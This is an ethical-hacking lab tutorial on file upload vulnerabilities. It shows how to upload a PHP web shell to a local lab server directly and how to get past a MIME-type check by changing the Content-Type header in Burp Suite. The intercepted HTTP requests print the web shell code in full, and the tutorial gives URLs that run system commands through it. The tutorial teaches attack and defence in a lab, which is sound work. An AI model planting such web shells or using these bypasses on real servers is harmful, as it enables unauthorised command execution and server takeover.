Many websites require file upload functionality for their users. Social networking websites, such as Facebook and Twitter allow their users to upload profile pictures. Job portals allow their users to upload their resumes. File upload functionality is crucial for many web applications. At the same time, it is a big risk to the application as well as to the server if proper security controls are not implemented on file uploads.

In this lab exercise, we will discuss how an attacker can make use of file upload vulnerabilities to compromise the websites/servers.

Before understanding file upload vulnerabilities, it is important to have the basic knowledge of web shells.

A web shell is nothing but a program that allows an attacker to perform various operations such as running shell commands, creating files, deleting files, downloading the source code, etc. To be able to exploit a file upload vulnerability, an attacker needs to have a web shell.

A simple and basic web shell can be written as shown below.


This simple shell allows an attacker to run system commands when executed on the server.

Now, let us see how we can use it in file upload vulnerabilities.

In this lab, we are going to exploit the following types of file upload vulnerabilities.

  1. Direct file upload
  2. Bypassing Content-type verification

Let us first see the lab set up we have for these exercises.

  1. We have a web shell named cmd.php
  2. We have a web page where we can upload a file on to the web server.

The page mentioned above is built using two different PHP files, index.php and file_upload.php

index.php is what is displayed in the above screenshot. It allows a user to upload a file.

file_upload.php receives the file from index.php and performs the upload process based on the checks implemented in it.

What types of files are allowed to upload would depend on how file_upload.php file is performing input validation checks on the file being uploaded.

Requirements for file upload vulnerability to be exploited:

  1. The attacker should be able to upload the file
  2. The attacker should be able to access the file uploaded.

Direct file upload

The first scenario we discuss is unrestricted file uploads vulnerability. Many applications allow users to upload files on to their websites/servers.

If they do not validate the type of file being uploaded, it can lead to a complete server compromise.

For this demonstration, the following code snippet is used: file_upload.php.


If we observe the above code, it is receiving a file and directly uploading it onto “uploads” directory without any further validations.

When an application is developed using this sort of code, an attacker can simply upload a web shell and access it from the browser.

Let us see how we can do that.

  1. Navigate to the following URL.

    http://192.168.56.101/webapps/inputvalidation/upload1/

  2. Upload cmd.php instead of the JPEG file.

    As we can see in the figure above, we are uploading a PHP file.

  3. If the file is uploaded, we should see the following message.


  4. Access the uploaded file and execute system commands from the following URL.

    http://192.168.56.101/webapps/inputvalidation/upload1/uploads/cmd.php?cmd=id

Note: Attacker should be able to find the location of the uploaded file on the server. Otherwise, it is not possible to access the shell being uploaded.

In our case, the file is uploaded in a folder called “uploads.”

The attacker now should be able to access the entire file system of the server as shown below.

Bypassing Content-type verification (parameter tampering)

For most web developers, the first technique to prevent file upload vulnerabilities is to check the MIME type. When a file is uploaded, it returns a MIME type. Usually, developers check if the MIME type of file being uploaded is something that is intended.

This can be done using the variable “$_FILES[‘file’][‘type’]”

This variable holds the MIME type of the file being uploaded. This value will be checked against the value that the developer wants to allow. If these two match, the file will be uploaded. If not, the file will not be uploaded, and the user will be shown a custom error.

So, let us see how a developer can implement this.


Ethical Hacking Training – Resources (InfoSec)

Looking at the code above, we can clearly say that the file upload is possible only if the MIME type of the file being uploaded is equal to “image/jpeg.”

Well, it is clear that the developer is making an extra check only to allow jpeg files to be uploaded on to the server.

To verify this, let us open the following URL and upload the cmd.php file.

http://192.168.56.101/webapps/inputvalidation/upload2/

You will be greeted with the following error message.

How can an attacker bypass this?

The MIME type of the file being uploaded is sent using the HTTP Header “Content-type.” We can simply use an intercepting proxy like Burpsuite and tamper the request by modifying the Content-type header value.

Let us see how to do this.

  1. Launch Burp Suite on your Kali Linux by typing the command “burpsuite” in a terminal.

    You should see a screen as shown below.

    Click Next and the following screen will be shown.

    Click “Start Burp” and you should see the following while Burp loads.

    Once done, you should see Burp Suite up and running. Now, navigate to Alerts tab and make sure that your Burp shows the following message.

    This means Burp is running on your localhost port 8080.

  2. Next, configure Ice Weasel in Kali Linux to route all the browser traffic through Burp proxy.

    To do this, navigate to Edit > Preferences > Advanced > Network > Settings and enter configure 127.0.0.1:8080 as shown in the preceding figure.

    Finally click OK to save the settings.

  3. Now, launch the following URL in your browser

    http://192.168.56.101/webapps/inputvalidation/upload2/

    We now need to bypass the file type limitation and upload the cmd.php file onto the server.

  4. Choose cmd.php file and make sure you turn “Intercept On” before we click “Upload File.”

    When your Burp Proxy is ready, click “Upload File” button and Burp will intercept the request.

    The request should look like the following:

    POST /webapps/inputvalidation/upload2/file_upload.php HTTP/1.1

    Host: 192.168.56.101

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    Referer: http://192.168.56.101/webapps/inputvalidation/upload2/

    Connection: close

    Content-Type: multipart/form-data; boundary=—————————68334867910697090511500942683

    Content-Length: 391

    —————————–68334867910697090511500942683

    Content-Disposition: form-data; name=”file”; filename=”cmd.php”

    Content-Type: application/x-php

    <?php

    $cmd=$_GET[‘cmd’];

    system($cmd);

    ?>

    —————————–68334867910697090511500942683

    Content-Disposition: form-data; name=”submit”

    Upload File

    —————————–68334867910697090511500942683–

    Looking at the line highlighted in the above request, Content-Type is representing the MIME type of the php file we uploaded.

    On the server, we are checking to see if this is “image/jpeg.”

  5. To bypass this restriction, we can simply modify the value of the header Content-Type to “image/jpeg” as shown below and then forward the request to the server.

    Content-Type: image/jpeg

    The modified request should now look as follows:

    POST /webapps/inputvalidation/upload2/file_upload.php HTTP/1.1

    Host: 192.168.56.101

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    Referer: http://192.168.56.101/webapps/inputvalidation/upload2/

    Connection: close

    Content-Type: multipart/form-data; boundary=—————————68334867910697090511500942683

    Content-Length: 391

    —————————–68334867910697090511500942683

    Content-Disposition: form-data; name=”file”; filename=”cmd.php”

    Content-Type: image/jpeg

    <?php

    $cmd=$_GET[‘cmd’];

    system($cmd);

    ?>

    —————————–68334867910697090511500942683

    Content-Disposition: form-data; name=”submit”

    Upload File

    —————————–68334867910697090511500942683–

This will fool the server into accepting that we are sending a jpeg file and not a PHP file. This will allow us to upload the shell on the server. As we did in the first scenario, we can access the shell from the browser using the following link.

http://192.168.56.101/webapps/inputvalidation/upload2/uploads/cmd.php?cmd=id